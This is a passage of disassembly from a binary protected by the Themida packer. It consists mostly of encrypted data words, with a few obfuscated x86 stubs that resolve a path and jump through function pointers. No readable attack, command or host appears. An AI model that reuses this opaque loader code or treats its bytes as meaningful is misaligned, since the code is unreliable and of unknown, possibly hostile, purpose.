74C14E42h dd 67260F17h, 0DF69605Fh, 70AB2C47h, 3B9C8649h, 3C3D8518h dd 1D52BD52h, 0A9E23754h, 15AEFB66h, 9B649976h, 3FE71CF3h dd 38538E53h, 9AF18AD7h, 0AAB34075h, 92F4FCBBh, 0F549F24Ch dd 87049DEAh, 0BEC65388h, 750E16D5h, 0FE4DF256h, 2A16BEF3h dd 0B05F2CB7h, 4EC1CA63h, 9E838C19h, 7C77D7DFh, 838E5004h dd 21EE9D36h, 44434B62h, 3747E031h, 39C992Ch, 7F35828Dh dd 1C0A5AEh, 0F17089F9h, 0EAA9B449h, 0D3BD5C31h, 0C99CD13Ch dd 0A92A5136h, 17759149h, 0C7F0C3F8h, 4BDEECD6h, 0FEBD523Ah dd 8C5F6A7Dh, 52E5ACCFh, 0B0DD5E55h, 9A024631h, 0AEF11FB2h dd 5D84B9A2h, 7067EAA4h, 222086E4h, 21F42994h, 275D2E8Eh dd 315D47E0h, 0ADE0A9DEh, 0B4682D62h, 2B5C642Dh, 5847E028h dd 9EBAE24Dh, 36744C43h, 39A122BCh, 0F3000000h, 0C0F51A72h dd 0DF5FDFA8h, 0D908F447h, 0D2917E0Eh, 5FD4B3BBh, 0B2DE47DFh dd 27BAC55Dh, 141C332Ah, 47DF5F73h, 97CC4347h, 8E212CC4h dd 0DF7A992Eh, 90B81747h, 22FFFFFFh, 75F31C72h, 5B14B89Eh dd 0D3A6DB34h, 765F6B40h, 16D086F8h, 25BCEACEh, 4B5Bh dd 0DBB36C00h, 32CFF34h, 0ABF3EF03h, 4876098Ah, 0CBC3A2AEh dd 611AD944h, 0D8ABE02Fh, 0C141745h, 47DF5F7Bh, 853EFD08h dd 45730609h, 1A723E14h, 147F90FFh, 51363E55h, 3247DF5Fh dd 14669427h, 4DE02F5Bh, 3B74CD1Bh, 0DE000000h, 0AAFBA2AEh dd 0D9AEB6D5h, 0AA47DFDBh, 590B769Fh, 0C9382DEBh, 0E853B061h dd 5B14FF7Dh, 0DA49DC33h, 0DF5FB5D2h, 80889F47h, 47DF6007h dd 0FCD66974h, 3E149311h, 77F51A72h, 0FD140351h, 0DF5F92F5h dd 53E6F147h, 6B734842h, 47DF601Ch, 0B4E9545Fh, 0DF5FEB9Ch dd 28E1F047h, 4349AA65h, 0F4ED39CCh, 222A91F9h, 47DF5F65h dd 0D8AFB716h, 0AB47DF5Fh, 0B9D435A0h, 0E34E2156h, 7066AE96h dd 278647DFh, 0FFFFF391h, 0F51A7291h, 53424BA8h, 6CDA8C94h dd 0D2DD49F1h, 6E06859Dh, 0AEED4DF1h, 6DF88F97h, 0C28B4DF1h dd 0B511AA5h, 0AB3EA90Fh, 8B0B825Fh, 0F324AE57h, 27BA553Ah dd 0E25h, 8747700h, 9D000000h, 2E63ACE4h, 0AE9AC85Bh, 4801C0A5h dd 0CB3ACD42h, 0F174A3C3h, 9CF2AB49h, 0D86B3E73h, 87508590h dd 80A24C05h, 966F6054h, 0A4F3B903h, 3AA51093h, 987C05EDh dd 0A3244DF1h, 0F29EFE20h, 5F72F41Dh, 0F29EAF42h, 95D3615Fh dd 92FD86B7h, 752552D3h, 0B71FFDD1h, 4CFF28Eh, 79AA91Ah dd 0FA1F710Ah, 234A7F90h, 0F1AE6C1Bh, 99040F4Dh, 0B759F92Eh dd 6724F59Ah, 35A073A8h, 0B6593700h, 0A1408481h, 5B86823Ch dd 0C20F0090h, 0F3AA6529h, 15ED642Ah, 408EE196h, 6F04BB26h dd 335B865Bh, 0FB66A9E6h, 0BE16FCAAh, 6B233CEAh, 0D9h dd 0BDA6AEBDh, 820C143Fh, 0DE47DF5Fh, 81EB755Dh, 0A1B3BB43h dd 0AAEA13C8h, 0D87F4CB6h, 0ADE30777h, 0EAD5AF42h, 373E146Ch dd 931423A9h, 0C0CC4AF2h, 1E471A4Fh, 0D76AC54Ah, 0C947C8C6h dd 0B7FF9314h, 0A3FD0BFh, 81920E37h, 0D77F922h, 6BFA497Fh dd 0AE0DF3D8h, 143BB9A2h, 79997D93h, 4ADDB4D7h, 0CE16974Dh dd 5B25BCEAh, 41h, 0B9A2AEADh, 0C14E41FAh, 5B14002Eh, 0D3A6DB34h dd 0BEC9D140h, 0BD47DF5Fh, 3E1434B2h, 0B2371A72h, 0A4D5449Dh dd 0AB04838Bh, 6C7747DFh, 1ED79601h, 996CA16Eh, 2ABD5238h dd 740351FCh, 22h, 0B9A2AEDEh, 7B0C143Bh, 7647DF5Fh, 3E140D8Bh dd 36F51A72h, 19F3DDB5h, 9866438h, 0DA089B06h, 5B140351h dd 3B4ADD32h, 0FFFFFF1Eh, 0F31C72A5h, 7699F5BEh, 20C3CC29h dd 0EA10A2E6h, 688D0C23h, 9EABFE27h, 0A4DAADB5h, 9EA947DFh dd 5009C833h, 0D59ED33Ch, 4E2156B9h, 40B82E3h, 94FA0271h dd 0F349F1D1h, 0F09BB3E8h, 34DF1C9h, 3393FAE7h, 0E824AE88h dd 3Ah, 0C0A5AE3Ah, 7ECDF901h, 2D3849F1h, 0A450D1F8h, 0F0805211h dd 4A41A134h, 0A94DF1F6h, 3C4B536Ah, 3F4DF1F7h, 8C55A134h dd 0CC434A03h, 0C431C497h, 24AE69CCh, 0BC19h, 1C726B00h dd 98F5BEF3h, 0D0050A81h, 2D7CD4FDh, 8BF5297Ah, 6C22EB20h dd 0E9A56EA3h, 0EF1D926h, 5447DFF7h, 0EF88D53Ah, 0AE3B709Fh dd 4801C0A5h, 0C396CB44h, 9DB9C130h, 849F1F7h, 4A53B0FDh dd 0ABE39C5Bh, 858A0364h, 7BEA7D50h, 4A0A873h, 0D1909B50h dd 4D9A7518h, 0B736D9B4h, 0EDBE95A9h, 9DDDA449h, 0B9000002h dd 51EA37D8h, 0EE87D43Bh, 8D26739Ch, 27C00D02h, 6C5CA966h dd 27E8A549h, 0C54A41DAh, 5EB1DF78h, 0F9167811h, 7B83D2ACh dd 4DF7C80Ch, 72BC926Fh, 7E91FE1Bh, 0EF9B5413h, 8518EB20h dd 709FEF88h, 1B732C23h, 0AC894A36h, 2E99EA1Bh, 0E36D1305h dd 59EC9BC8h, 0C0A5AE2Bh, 7ECDF901h, 581149F1h, 0D1A4D936h dd 0B6EBF63Eh, 0F180ED9Eh, 0FBC0CD4Dh, 0F18094F3h, 71DCE74Dh dd 0F619733Ch, 0CA172BC1h, 97AEED15h, 0F180F88Fh, 1024FA4Dh dd 85412FD2h, 34FE2EDh, 192FA7DEh, 0ABFC24AEh, 4E000000h dd 0BEF31C72h, 427798F5h, 0DF5BD52Ah, 9E711D47h, 39D6B851h dd 0BE5CDD04h, 4F413887h, 20BE073h, 0A4C5413h, 0ED49F24Eh dd 2F3895E2h, 437B8342h, 625004F9h, 0ADE22D61h, 99B06FDAh dd 1E6DACE0h, 7EE9BCF1h, 5CB3DAEBh, 0F817760Fh, 0BEF85579h dd 0B1781DEDh, 1A4h, 0F13ED1C0h, 8EDB3458h, 2D7A95F5h dd 0C714FB94h, 63B05F2Eh, 0E1AC4273h, 4348E12Eh, 0AAE67FCCh dd 0F7F1865h, 8AD9B300h, 0F7C90582h, 0C399764Dh, 0A7F41B72h dd 0F199800Eh, 6F66B31Eh, 22ED9F58h, 1D6A1AEDh, 5E47DF60h dd 948E2A53h, 473B068h, 1C724371h, 4D828DFDh, 97500F7Ah dd 0A3881BF4h, 9C5BB4DAh, 3166A9E3h, 71CECB5Eh, 1BA7968h dd 0E018D8Ch, 669B06D9h, 89910093h, 49F16729h, 5A2D3594h dd 294DF168h, 3BF4B31Eh, 0D66FBC53h, 952257B8h, 65E6A58Ch dd 99175EDFh, 19881B91h, 0A4E3EB02h, 0D74DF197h, 0E9D939CCh dd 0D45009E5h, 0D3104AC9h, 5D02EDB2h, 0E796h, 818E0300h dd 1EF19B34h, 0BD5238D1h, 57B8D770h, 0F31C710Ah, 0EFFFB6A6h dd 8B24719Eh, 29C20F00h, 0C25BA867h, 1CF643CCh, 0C9C2C5CDh dd 0E4C14DF7h, 315B140Eh, 26DA2E8h, 0A4919A6Fh, 0ADA9DDE5h dd 0ECA549F7h, 63366BA4h, 487D88D0h, 0E9266821h, 0C6494556h dd 9FE8F007h, 0DC4DF7ADh, 0A8413ED1h, 7FDD6BE6h, 892D6D19h dd 658ED426h, 43AE7B06h, 0B666E70Eh, 0B73640FAh, 0E98BEB7Eh dd 36EA808Ch, 6A24BF22h, 0D3DBE0AFh, 0AD91F1B4h, 1C51BCC7h dd 0F891DE49h, 1D447996h, 51E42B64h, 8BC04F40h, 5653D4E3h dd 0EC23683Bh, 89516DC3h, 0DE97CD5Fh, 0D86BD663h, 833C558Ch dd 62730609h, 0FD96E32Ch, 22497E91h, 5E7460A1h, 3EBAE32Ch dd 0D4E3765Bh, 14h, 2F5B143Eh, 45D8ABE0h, 969EB5E4h, 47DF5FF1h dd 0C6F48792h, 0BBF01F72h, 3E739CF2h, 0BFF41B75h, 457A95F6h dd 0C9FE117Ch, 4D828D00h, 0CF040B84h, 568B8406h, 0DB10FF8Dh dd 43C768D4h, 1C890000h, 4F2C6824h, 2C890000h, 37FA6824h dd 3C890000h, 6E685324h, 5B4A1741h, 0E3C1DBF7h, 0B5EB8107h dd 53EE46F8h, 66242C81h, 5D712255h, 5566C581h, 835B7122h dd 248904ECh, 24048324h, 89525F04h, 85789EAh, 8324148Bh dd 34FF04C4h, 0C4835F24h, 242C8B04h, 5E08950h, 4, 405h dd 24048700h, 1513E95Ch, 7244FFFAh, 6B7BB8D2h, 0C5030618h dd 0C185C650h, 47061215h, 38172568h, 0F1B5FFCFh, 8D061217h dd 123B4885h, 8BD0FF06h, 1D858DD8h, 50061209h, 10468h dd 0C6D3FF00h, 1215C185h, 0BF685306h, 0FF8307F8h, 1217F1B5h dd 48858D06h, 0FF06123Bh, 0D8589D0h, 8306184Eh, 122EEDBDh dd 840F0006h, 0Bh, 0C99D8Bh, 5E90612h, 0BB000000h, 0 ; --------------------------------------------------------------------------- push 100h lea esi, [ebp+6184E11h] push esi push ebx call dword ptr [ebp+6121CFDh] lea esi, [ebp+6184E11h] add esi, eax jmp loc_5E2759 ; --------------------------------------------------------------------------- loc_5E2758: ; CODE XREF: Themida_:005E2765j dec esi loc_5E2759: ; CODE XREF: Themida_:005E2753j cmp byte ptr [esi], 5Ch jz loc_5E276B cmp byte ptr [esi], 2Fh jnz loc_5E2758 loc_5E276B: ; CODE XREF: Themida_:005E275Cj mov byte ptr [esi], 0 lea eax, [ebp+6184E11h] push eax call dword ptr [ebp+6184E0Dh] pop eax jmp eax ; --------------------------------------------------------------------------- dw 0F03h dd 0E88A36D3h, 29BE6183h, 388B4B99h, 679D6DE7h, 17E77A27h dd 0D05E3F3Dh, 68FB3592h, 430979F7h, 0DA6E79CCh, 2CEF7860h dd 62C46F16h, 1A1F271Eh, 0BC8A0A70h, 8D8D4449h, 6186DAEh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0A0C35646h dd 0A571E824h, 934F25F9h, 7C5858Bh, 89600612h, 121A798Dh dd 0BDB50106h, 61061232h, 3BBB6660h, 8D896181h, 6122DCDh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 91C35646h dd 7B8CF9FAh, 89D2BF0Fh, 122B31BDh, 0BD85C706h, 0FC061231h dd 0E9000060h, 5, 0B129F951h, 68D0F9Dh, 29000000h, 121A6185h dd 1185C706h, 61200h, 89000000h, 1210D985h, 0B1B5FF06h dd 89061219h, 1226B9BDh, 8195FF06h, 0E8061227h, 0Ah, 0BF2388A3h dd 31629F15h, 858948D7h, 612114Dh, 0FF006A5Eh, 1229D195h dd 0EBC08B06h, 95B0057Ah, 0F37003Bh, 79BF977Dh, 62FC872Eh dd 0DF1CC020h, 18DF5CD8h, 9ED49292h, 18B8D7E1h, 0BD797CD5h dd 9C1CCFCAh, 22B8B18Ah, 511591DDh, 4982DBF4h, 4273CC18h dd 0BC84678Ah, 0B6F6F5E6h, 519E440Ah, 3A850F4Fh, 21718CCFh dd 0E24CC36Dh, 0F9D2181Fh, 22B9A3F4h, 0DE82EED4h, 39EB187Eh dd 38B96969h, 8CCE9B28h, 0B6107EA6h, 0CB5538BCh, 9C3A604Bh dd 0F98B7A48h, 0E8CDF413h, 8, 35CD9C95h, 625C6D1h, 0F7AEB95Bh dd 0C3810171h, 65F5h, 9E8h, 95842E00h, 0FA63C6E7h, 0B52B73C3h dd 6121BA9h, 0C18DBA5Fh, 0F281465Bh, 465BD8DDh, 68F0Fh dd 85290000h, 6122E95h, 8B6633FFh, 8D8B58FEh, 6122799h dd 404EC081h, 5E9543Dh, 73000000h, 76233196h, 0D2B1E881h dd 0BE66479Bh, 0C0819ADFh, 115A9834h, 13158D8Bh, 3890612h dd 17318D8Bh, 0EB830612h, 9E904h, 4F660000h, 0C142B4Ah dd 4A9736FAh, 1D850Fh, 8D0F0000h, 2, 1AE9F08Bh, 70000000h dd 3C0BCE20h, 0E4F1F7CCh, 0A2BC60FDh, 0E95DA888h, 0FFFFFF8Ch dd 6AA8FF98h, 7D8D8DE1h, 6A06186Fh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0E659C355h dd 0B3EA7D08h, 89E3ABF9h, 122DCD8Dh, 0ABD8B806h, 85C72CDBh dd 61231BDh, 5CB4h, 85C72FB2h, 6120011h, 0 ; --------------------------------------------------------------------------- sub [ebp+61207E9h], ebx mov edi, ecx push dword ptr [ebp+61219B1h] mov di, 0A14Bh call dword ptr [ebp+6122781h] push 0 push ecx call sub_5E2A33 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5E2A33 proc near ; CODE XREF: Themida_:005E2A2Bp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_5E2A33 endp ; --------------------------------------------------------------------------- db 22h dd 61E1405Dh, 9D891266h, 6121561h, 95FF006Ah, 61229D1h dd 7AEBC08Bh, 0F7A934A9h, 7CB6D0A4h, 0EA802F50h, 0A473CE58h dd 7D9B0D4Ch, 3CDCA8Bh, 1F68BBA6h, 0B3BE820Eh, 0A3AB398Dh dd 74519526h, 68875A88h, 0BF0EF22Bh, 2D8A596h, 1336DECAh dd 34AC908Bh, 352AF542h, 0E9C51D48h, 3A754D3Fh, 0CB8596DFh dd 0ADA61D1Bh, 0A9D0DD9Bh, 467D8C7Bh, 14CF82Ah, 7EE82B4Eh dd 0FFAC69E2h, 4A0BEC1Ch, 44BAF2BFh, 0E050A7CEh, 0FD744458h dd 0D18B1270h, 0CE8B0DCh, 90000000h, 9670A1C8h, 0C398F420h dd 80391F49h, 0E85E18CCh, 0Ch, 84CFA2ADh, 295026E4h, 297440AAh dd 5BDD8A53h, 0EEC6815Fh, 52000068h, 11E9h, 0E1663E00h dd 8176B48Fh, 67EEF362h, 7663E2A8h, 685FE376h, 1A04h, 19258531h dd 8B590612h, 6036FFDEh, 18F99D31h, 5A610612h, 14E9h, 0D57F9200h dd 0F81F8289h, 3FD59EBh, 8B0C7316h, 46E524FBh, 44F281C2h dd 95140F3h, 12090DB5h, 7EEA8106h, 8920D4FBh, 121F158Dh dd 26EA8106h, 891871D5h, 122EE59Dh, 8B168906h, 1226359Dh dd 24EE8106h, 813804E5h, 4E520C6h, 9D858B38h, 83061232h dd 850F01E9h, 13h, 20E9h, 0AA698800h, 9F508C00h, 0CCE34AF7h dd 8B97554Ch, 1219D59Dh, 0FF77E906h, 385EFFFFh, 0D4589097h dd 50E98Ch, 0E1B90000h, 8C936C0Bh, 0E89DE61Dh, 746E2E81h dd 2E6C6C64h, 6C6C64h, 0B2BD1467h, 0FEB98003h, 0Ch dup(0) dd 2BE90000h, 68000007h, 61872CFh, 0FA0FB8E9h, 73B968FFh dd 0AEE90618h, 68FFFA0Fh, 618743Fh, 0FA0FA4E9h, 750468FFh dd 9AE90618h, 68FFFA0Fh, 61875FBh, 0FA0F90E9h, 76C768FFh dd 86E90618h, 0F9FFFA0Fh, 912A7798h, 2EC714FBh, 0CD66B35Ch dd 67004DC2h, 0AC9CE926h, 67A8E509h, 50A811Ah, 9E711FB8h dd 39D6B851h, 0BBC312ECh, 4DF7D0CCh, 14FCD2AFh, 0A01D345Bh dd 32925661h, 3656B722h, 593746D9h, 0A1000000h, 92F5FD14h dd 0F147DF5Fh, 3C719EF0h, 0F19DFE69h, 8316E91Eh, 34F31C72h dd 0C07636B3h, 0B548066Ch, 888707D0h, 0D38533Bh, 0D2447E0h dd 0E00C8205h, 63F60147h, 0EC133E52h, 0F4950AF0h, 74F5B41Fh dd 5369E18Dh, 82050D4Eh, 147E054h, 0FBF88BF6h, 0CB444B04h dd 230C396h, 0DB345B14h, 7B6A7348h, 868EA5BCh, 47DF6001h dd 84E47782h, 49F16F82h, 0ADC5FA05h, 4DF170DEh, 0A1E8F915h dd 24AEEF21h, 251F6h, 0C19B4800h, 23E2CFD8h, 0F175331Bh dd 0F6475249h, 9BB78607h, 0E339D13Fh, 0E7AEF050h, 5B7291FEh dd 1BA73453h, 6F18200Ah, 0C0A1BA6h, 0CB5E6901h, 4908EDF6h dd 2DB5C541h, 0BED0890Ch, 0B6491C51h, 0EBA4636Eh, 0F2D76AA5h dd 0B6755C65h, 6BA4E69Fh, 0B5E3A4ACh, 95A00C0Dh, 3073A202h dd 55600E21h, 5EB1DD96h, 0FB031A11h, 0A1B338Ch, 42BBE4EFh dd 42E0B45Ah, 5E3041D4h, 4932555Dh, 46510A1Bh, 2F225CDBh dd 0BB02F83h, 4DE44h, 21EEA300h, 0BE513BD4h, 5DB2D871h dd 0F7187710h, 937C11AAh, 8F5F5646h, 2BC411FEh, 0C962AF60h dd 62FB48C7h, 0BC96E32Ch, 0D222656Dh, 84614DF7h, 0F31C72AEh dd 392831BEh, 5A4CF97Ah, 77DB3DAAh, 396D75E4h, 3C49F20Fh dd 0E874E431h, 560FB4BDh, 55CA075h, 78E32C62h, 0A3EA534Fh dd 0C02BC889h, 0E455F901h, 72895003h, 0DFDA1D6Ah, 1AF59547h dd 6F7A12E5h, 0CA8994DCh, 36AA2A49h, 0DFAF592Eh, 0F61F2A47h dd 0AF420C72h, 0CA62CEAEh, 0B7C0BF7Dh, 0ED58B7D4h, 78E0262Eh dd 0FF80E28Eh, 0A5D07126h, 347C0F46h, 81B65933h, 810E43AEh dd 5A2D3578h, 29E66F4Ch, 3BF4B31Eh, 0B285BA55h, 6DA8B01Fh dd 33E882C7h, 0CE73141Ch, 0B110E079h, 79CEDEA9h, 27929DE0h dd 82414C94h, 0FD4AC5C9h, 66E52A64h, 7522A932h, 0F4B47B20h dd 0B9000003h, 51EA37D8h, 0EE87D43Bh, 8D26739Ch, 27C00D02h dd 6C5CA966h, 27E8A549h, 0C54A41DAh, 5EB1DF78h, 0F9167811h dd 7B83D2ACh, 4DF7D30Ch, 72BC926Fh, 31BEF31Ch, 727A3928h dd 49F182B8h, 126FBCC7h, 465D1C09h, 0D80D028Dh, 27E8A405h dd 0F8633494h, 35405009h, 3ED1BD76h, 0D93658F1h, 8CFB031Ah dd 0EF47E9B9h, 0DF6C51E4h, 2830EFD6h, 49FBD2AAh, 0B65935EEh dd 0D31BAE81h, 0BFE349C8h, 4AEFEBA0h, 36E83h, 0B15E3300h dd 4EC1CB64h, 0ED226801h, 878807A0h, 23ECA13Ah, 1FCFE6D6h dd 0BB54A16Eh, 59F23FD0h, 0F28BD837h, 4C26739Ch, 0D392F5FDh dd 14F14DF7h, 0F31C723Eh, 72151D34h, 1147DF5Fh, 26E9A506h dd 0A68B1EF1h, 62211019h, 0F160B45Ah, 7BC8D349h, 1B3E4h dd 0C49B4E00h, 2CEBDAE3h, 0F1752A24h, 2E5C5D49h, 5709FEBh dd 4192FDD0h, 0AC6A6A61h, 12F17260h, 2AF2E4AAh, 515A2FC2h dd 0F19DA564h, 943D205Fh, 0BEC75489h, 4D291319h, 1C2F4245h dd 0D36413Dh, 0CF3A5B7Ah, 0DC0D0810h, 0EFFA3F2Eh, 0FA021930h dd 3B08DF8Dh, 5433E3EEh, 273B08DFh, 611A891Ch, 0FC95E22Dh dd 26FE7D92h, 2C1E9146h, 2A9C087h, 236E0000h, 86069FECh dd 0E7A33C89h, 4D42DB28h, 0B1DC75C2h, 9421115Eh, 8FDC335Ah dd 2D7A95F6h, 0C613FC94h, 61AE612Dh, 57303887h, 244DF7D4h dd 5B147147h, 3748DB34h, 40F9B857h, 4CC3CD4Ch, 0DC694EE1h dd 272FEED3h, 49F18D7Fh, 8F8A0506h, 3CA712FDh, 0C8E17FEFh dd 5A13D2BFh, 0D7AADF30h, 81CDD544h, 845003A3h, 80392879h dd 0C6CFF10h, 0B1218158h, 31F0D5DEh, 0C6FB1478h, 5B2C34F3h dd 28D6C132h, 131B8A1Dh, 0D8D3617Bh, 0AA652AE3h, 0C70FA275h dd 0DEE6FDBCh, 0D0D341A9h, 573CCFDAh, 15D4C1CAh, 0A8DFE7FEh dd 4AD0D341h, 2CD86F1Eh, 0EFF0885Ah, 66396EA1h, 0D0868FBh dd 0D3D2E5DAh, 0E8A7721Ah, 0B487BC27h, 0FCED921h, 0C44B3FF8h dd 0A16E2031h, 7ED3BB54h, 0FE1D92D9h, 8863F8D9h, 0EAD9CA93h dd 6C79567Fh, 0B59CFF7Dh, 8575CB4Ah, 0F89D635Eh, 1B231h dd 0F51A7700h, 927D0FA8h, 31DEAC45h, 0CB444BE4h, 67A8E57Eh dd 638B2A1Ah, 0FF98E52Ah, 9D36838Ch, 36CF1CF3h, 906AB758h dd 0D44E3941h, 502D4DF7h, 0F5FD147Ah, 47DF5F92h, 4253E6F1h dd 18EC34Ch, 424A09F8h, 49F181E8h, 893F8C97h, 1C0A5AEh dd 5F5C31EAh, 0DF603057h, 0DD485347h, 0E242D5A8h, 49F7CEAFh dd 52353D9Ch, 314DF7CFh, 43FCBB26h, 0DE77C44Bh, 0EC2369B0h dd 4479E4B7h, 8C7AEB7h, 103E9F00h, 0C2818C50h, 0CB8A8509h dd 9FA3C14Ah, 0DFA9F097h, 5F889347h, 0DD3EF576h, 0CECB5EB1h dd 0CFB8C0D7h, 0AC47DFFBh, 91FD0EA1h, 0B3BC497Eh, 0FC15727Ah dd 5B6647DFh, 492931F0h, 7449F21Bh, 455EEA69h, 0CF74EBAAh dd 0E608h, 29E6AB00h, 0C64943DCh, 65AAE079h, 0FF107F18h dd 9B7419B2h, 97575E4Eh, 33CC19F6h, 0D16AB758h, 6A0350BFh dd 0C49EEB24h, 0D61A6D75h, 8C694DF7h, 0B89314B6h, 0EBEA3E08h dd 596237CAh, 0C3F81776h, 0F1F3949Ch, 859047DFh, 0D9F0AF1Ah dd 225241C2h, 0EE18C6A4h, 0E01E493Eh, 12713A47h, 12BFE464h dd 97F78AF5h, 49F887CCh, 90B7ECF7h, 0CCF32A0Fh, 926DAD0h dd 0D182ABE6h, 3F50E30Ah, 0EA01C04Fh, 0F810A5E2h, 0CCBD64Dh dd 0F8108304h, 62F5004Dh, 4DC2CC65h, 0A2470018h, 0A1EF409h dd 8D820CD7h, 0D97815CEh, 608FE567h, 0B4E95437h, 0B8514EE1h dd 0F97A39D6h, 0B5E24414h, 876CFFBEh, 93ED1BEh, 816C7561h dd 2C43020Dh, 0EAC46324h, 821520B3h, 6DA2EC85h, 0F2FA1138h dd 0B3EAC495h, 3948DBE6h, 3, 723422A3h, 0F2BBF01Fh, 753E739Ch dd 0F6BFF41Bh, 7C457A95h, 0C9FE11h, 844D828Dh, 6CF040Bh dd 8D568B84h, 0D4DB10FFh, 81E28952h, 4C2h, 4EA8300h, 8B241487h dd 3C682424h, 89000062h, 8951243Ch, 4C181E1h, 81000000h dd 4E9h, 240C8700h, 240C895Ch, 4EC81h, 1C890000h, 7179BB24h dd 0DF890618h, 4EC815Bh, 89000000h, 4812424h, 424h, 89565900h dd 87189FEh, 8124348Bh, 4C4h, 240C8B00h, 81E38953h, 4C3h dd 4C38300h, 5C241C87h, 52243C8Bh, 0C281E289h, 4, 4C281h dd 14870000h, 9EE95C24h, 0E1FFFA08h, 51C91A03h, 0D2B85540h dd 3061877h, 0FCE0FFC5h, 2F1C0A03h, 0BC75FE82h, 0E84C70DAh dd 14h, 4696EE60h, 506A61BDh, 6F4515ADh, 0F6286D44h, 0F73543A3h dd 0E4EF8166h, 0BE95964h, 6A000000h, 0A97A760Fh, 4195160Dh dd 0C181361Eh, 6AC0h, 1A7E68h, 0BF0F5600h, 665A5EC7h, 198BC38Bh dd 0C381C38Bh, 12B692C8h, 88B0Fh, 8A0F0000h, 2, 0EB81FE8Bh dd 2C03E372h, 0AEF381F8h, 6610F9E1h, 53C954BEh, 18F5F51h dd 3840Fh, 0C8800000h, 1CE9818Dh, 81116F80h, 858D75D6h dd 18C18123h, 8B116F80h, 850F4AFEh, 26h, 11E9h, 0D78EBC00h dd 0E4506B3Fh, 0E0EB5122h, 0CEFB25ADh, 21E9DAACh, 0A8000000h dd 2D285ABBh, 0F12C3CEBh dd 83E94EB3h, 0E3FFFFFFh, 53E41F5Eh, 56392Eh, 2C53E2F8h dd 34CFD25Eh, 26E9h, 5F4CFC00h, 0Ch, 7 dup(0) dd 0E9000000h, 4E4h, 187A9E68h, 777E906h, 0FD68FFFAh, 0E906187Ah dd 0FFFA076Dh, 187CA268h, 763E906h, 0BBD6FFFAh, 1E6E0754h dd 7F0BA4F1h, 0E5AA4390h, 4944DD2Ah, 2C8979C6h, 0F744CBC2h dd 95E22D5Eh, 2E7B94FCh, 0C916F995h, 0EF98A0EFh, 8C4DF7D8h dd 721798AFh, 268484E7h, 726F9D30h, 0F6BFF41Bh, 0CD2A7798h dd 161EDDC4h, 49F17D34h, 72894853h, 0F17D1D6Ah, 0C0535E4Dh dd 7CC8C3DBh, 9BF24DF1h, 16763F74h, 1A2EC4F9h, 0CEEA12C7h dd 0E3047C13h, 1FD124AEh, 0E2000003h, 74A96629h, 9BE00EA1h dd 0F7D4DDAEh, 691E2695h, 1A47DF5Fh, 9C6FA40Fh, 0E46A7231h dd 2349F175h, 2FE7C718h, 8948B4DBh, 0BBD29180h, 4E838C02h dd 1688E87Bh, 0F14568EBh, 0D18AB1E6h, 0EABF52BDh, 2D35F4E1h dd 4756F496h, 0F0979FB6h, 934356BEh, 0A2ADF588h, 224BCCE3h dd 6C88D43Dh, 16449E6Eh, 73FD41EDh, 50BFCFE0h, 0EDF50C03h dd 4357029Ah, 3A4BDEE9h, 48C7C554h, 0CF404A13h, 0F15CC79Ah dd 0CF6D9772h, 6F36DB16h, 322h, 552BDD4h, 0A2EF206Ch, 418E8109h dd 0DB28E7A8h, 77C44B42h, 0CDC02E87h, 2F5CF542h, 96FA93E0h dd 0FB932C79h, 9EEDC714h, 0F7D9F196h, 0DFB5924Dh, 1C0A5AEh dd 95CA4548h, 0B8C02FC2h, 49F7D73Ch, 0DC95545Fh, 78115EB1h dd 0ADC5FA15h, 4DF7D8DFh, 0B8A8509h, 145F4818h, 0C38E55FAh dd 75000002h, 0DA6F31Ch, 0AA43907Fh, 49E22FE0h, 0E37CC946h dd 281865AAh, 0E32C618Dh, 818EFD96h, 1AF59B34h, 0B55A34CDh dd 373F8E68h, 4DF7D950h, 14805633h, 0A7DC335Bh, 636C41D4h dd 3DB7BF7Eh, 3949F7D7h, 6D000F80h, 0DA5B1A25h, 2D309DC6h dd 0FF487B9h, 0F7BE94F7h, 9E435F4Dh, 0A4BDEFE7h, 1D03C24h dd 728E0000h, 0F5BEF31Ch, 0CC297699h, 171FDEC3h, 49F18C77h dd 0D9E366E7h, 66804E13h, 4B808BD3h, 0F1865833h, 627F9B4Dh dd 0AEC5AB2Bh, 0F4FC1324h, 4DF18E93h, 5052E5F0h, 45h, 0C0A5AEA2h dd 0CA454801h, 0FB03C295h, 47DF5F8Ch, 0E251E4EFh, 0F17EECDAh dd 0DB101B49h, 0F180C8C3h, 729DF24Dh, 0F718743Dh, 825FE3C2h dd 0C819355Dh, 0AEDFC1C1h, 1071624h, 10270000h, 0F18C7F08h dd 5EF1FC4Dh, 45931430h, 0AC5CB1A5h, 0DAB4C558h, 7DCD60E1h dd 0D469E029h, 0DF6F6324h, 6B1F2047h, 319C6FA4h, 0B16A91C6h dd 0BE513CDDh, 0B84B1E53h, 5933E6A7h, 0B8C4BB6h, 96F752C7h dd 48714479h, 9286D870h, 0CE676438h, 6A4FE24Dh, 0ED22EDA1h dd 0E6A56A24h, 4E97A865h, 0D568914Ch, 9281F0D8h, 0A9E547DFh dd 9B7D0A12h, 0FDFE47DFh, 0AC17828Dh, 0CF9025Fh, 592E364Dh dd 2A47DF9Bh, 151D8C1Fh, 49F23E04h, 6019D8E3h, 0E7B0E52Ah dd 6CFF6AA5h, 16CFE6FDh, 9FE89877h, 0DC4DF3F5h, 602D3ED1h dd 0F634535Bh, 3C474DF3h, 355912D1h, 534A47DAh, 0BA1BF49Ah dd 370A3FD0h, 15FA93A4h, 0AC58D796h, 2FF69BEBh, 11Eh, 14EC1D0h dd 9EEB2468h, 3D8A8505h, 0D724EBA4h, 73C04F3Eh, 0D1BC3283h dd 3358F13Eh, 9AF68FDCh, 0FF8F2875h, 9AE9C310h, 0F7DBF592h dd 0D3A9864Dh, 0A7F41B72h, 428F800Eh, 0F31C728Ch, 7699F5BEh dd 8C8DFEB7h, 6BA00B04h, 0B9563798h, 0C3CC2926h, 0E9171FDEh dd 0D449F1ADh, 3C510AC9h, 0ED9E86D3h, 0CD4DF1ADh, 0E8F4EC1h dd 0CF7CAF7Ah, 5552E52Eh, 483F475Eh, 0AA4DF234h, 0D4C12535h dd 3D48E0D7h, 0C95CB3DCh, 53AD5B8h, 913Eh, 0FD14A800h dd 8EC34C44h, 5F7C0BBBh, 